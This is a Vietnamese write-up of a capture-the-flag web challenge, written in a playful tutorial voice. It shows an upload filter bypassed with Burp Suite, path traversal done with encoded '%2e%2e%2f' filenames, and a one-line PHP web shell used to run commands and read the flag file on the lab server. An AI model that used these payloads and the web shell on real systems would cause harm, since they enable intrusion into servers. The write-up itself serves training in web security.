Web - Upload File Path Traversal (Directory Traversal + OS Command Injection)

Wasssssup anh em! Chào mừng các bạn đến bài viết về lỗ hổng Path Traversal, hay còn gọi là Directory Traversal. Thử thách này cũng khá là hay nên mình quyết định viết thêm một write-up để cùng các bạn tìm flag của challenge này. Trước khi các bạn xem hết bài write-up, mình sẽ gợi ý một số thứ. Mong các bạn sẽ tìm ra flag mà không cần xem cả bài. Yeah yeah!!!

Gợi ý: :smiling_face_with_three_hearts: :sunglasses:

  • Đây là bài viết của Cookie Arena về lỗ hổng path traversal, rất là nhiều thông tin hữu ích.
  • Xác định đuợc bộ lọc (filter) đuợc dùng ở Client-side hay Server-side. Về Directory Traversal, việc xác định đuợc filter hoạt động như thế nào là rất quan trọng. Mục đích cuối là tìm cách để bypass bộ lọc.
  • Nếu việc validation đuợc thực hiện ở Client-side, thì mình có thể dùng Burp Suite để proxy rồi modify request để bypass Client-side controls.
  • Nếu validation đuợc thực hiện ở Server-side, thì việc bypass sẽ phức tạp hơn một ít. Nhưng mình tin các bạn sẽ tìm ra cách.
  • Challenge này cần một ít kiến thức về OS Command Injection.
  • Download Burp Suite nhen! :bangbang: :bangbang:

Bắt tay vào làm việc thôi !!!

Challenge sẽ nhìn như này “Fancy Upload.”

Chúng ta biết đuợc app chỉ có một chức năng là upload file. Mình cũng không biết đuợc các loại file nào sẽ đuợc cho phép upload. Chúng ta thử bằng một file hình image đơn giản xem sao.

Có vẻ là hình ảnh đuợc phép upload. Nào chúng ta cùng check xem file vừa đuợc up lên.

image

Con mèo cười mỉm !!! Chính là nó, là file mà mình up lên.

Đến đây, chúng ta sẽ tiếp tục check đến phần filetype restriction. Kiểm tra xem nếu upload các file khác như php, html, txt, etc. có đuợc hay không.

image

image

Rồi luôn, không cho upload php lên luôn. Chán! :face_exhaling:

Đến đây, mình sẽ dùng một công cụ quen thuộc, Burp Suite. Chúng ta sẽ dùng Burp Suite để “Intercept” request rồi sửa tên của file để bypass client-side control. Chấp hai tay cầu khẩn, mong là đuợc!

Dùng Burp Suite, ấn vào “Intercept is off” để kích hoạt chức năng “Intercept.” Rồi sau đó upload file image lên, và chúng ta sẽ đổi tên của file. Để xem có bypass được hay không!

image

image

image

Đây đây đây nè! Đổi tên “filename” lại nè nhen. Đổi qua thành php thử coi sao.

image

image

Taaaaaaaaaaaaaaa đaaaaaaaaaaaaaaa! Không bị chặn nhen. PHP. :smiling_imp: :smiling_imp:

Chúng ta vừa xác định đuợc là có thể upload php file lên đây. Đến đây chúng ta phải tìm cách để ứng dụng “Directory Traversal.”

Nếu xem lại hình ảnh chú mèo cười mỉm của mình ở trên, chúng ta thấy file path là : http://13.250.40.38:32723/upload/cat_smile.jpeg . Tức là file mà chúng ta upload lên sẽ đuợc lưu tại UPLOAD directory - upload/{filename} :bangbang:

Bây giờ chúng ta thử một vài cách cơ bản để xem có bypass được hay không. Chúng ta sẽ thử bằng các payloads sau đây:

  • ../cat_smile.jpeg
  • ..././cat_smile.jpeg
  • ....//cat_smile.jpeg
  • %2e%2e%2f/cat_smile.jpeg

Buớc này mình sẽ rút ngắn lại để tiệt kiệm thời gian cho các bạn. Mình ra payload này sẽ dùng đuợc.

  • %2e%2e%2f/cat_smile.jpeg

Các payload còn lại đều bị Server-side lọc bỏ hết đi. Duới đây là ví dục của việc bị lọc.

image

image

Payload dùng đuợc sẽ như này đây:

image

image

Để kiểm tra, ấn vào file vừa upload để kiểm tra. File path đã không còn từ upload như trên nữa. Ka ka ka!

Filepath: http://13.250.40.38:32723/cat_smile.jpeg

image

Chúng ta đã thành công “Travel” rồi đó. Bây giờ là tìm flag thôi.

Để xem lại chúng ta đã tìm ra được gì rồi:

  • Chúng ta dùng php đuợc nè
  • Chúng ta cũng travel bằng cách dùng %2e%2e%2f
  • Để xem, chúng ta có thể upload một php file lên rồi dùng OS Command Injection tìm flag không nhé ???

Chúng ta phải tìm một php payload có thể dùng sau khi upload file lên. Học cái này như học cửu chương nhe mấy ông!

  • Payload: <?php echo system($_GET['cmd']); ?>

Rồi vô nè, uống miếng nuớc cho khoẻ người nào! :cat2: :cat2: :cat2:

Đầu tiên, vẫn upload file cho phép lên trước. Sau đó chỉnh sửa gì cũng được, hăm có gấp!

Nhớ bật Burp lên để Intercept, nếu không là khỏi sửa gì nhe. :rofl:

image

Bây giờ sửa nhiều chỗ nè:

  • Đầu tiên là filename - thành %2e%2e%2fexploit.php . Mình đổi tên để không bị lộn.
  • Xoá hết phần content của file rồi chuyển thành PHP payload ở trên <?php echo system($_GET['cmd']); ?>

image

Nó đây, ấn vào file để kiểm tra xem có ổn không.

image

image

Tuyệt! Tốt!

Với file mình upload lên, chúng ta có thể dùng parameter ?cmd để tìm flag.

image

Dùng id cơ bản để check xem chúng ta có thành công không?

Yeahhhhhhhhhhhhhhhhh!!! Vỗ tay!!!

Rồi, bây giờ dùng các OS Commands để tìm flag thôi. Mình sẽ dùng cd .. để chuyển vị trí rồi sau đó dùng ls để xem files tại thư mục đó.

  • Payload: ?cmd=cd .. ;ls

Aha, tìm thấy 2 flags luôn - 1 cái thật và 1 cái giả.

http://13.250.40.38:32723/exploit.php?cmd=cd%20..;%20ls

Cái thật là cái flag có tên dài hơn nhen, dụ tôi! :white_check_mark: :white_check_mark: :white_check_mark: :white_check_mark:

  • Payload: ?cmd=cd .. ;cat flagT0fv0.txt

http://13.250.40.38:32723/exploit.php?cmd=cd%20..;cat%20flagT0fv0.txt

Xong rồi! Cám ơn các bạn đã xem bài viết của mình. Mình mong các bạn học được gì đó từ bài viết của mình. Nếu các bạn có cách nhanh và dễ hơn, chỉ mình với nhennnnnn! Cám ơn nhiều nhiều. :pray: :pray: :pray: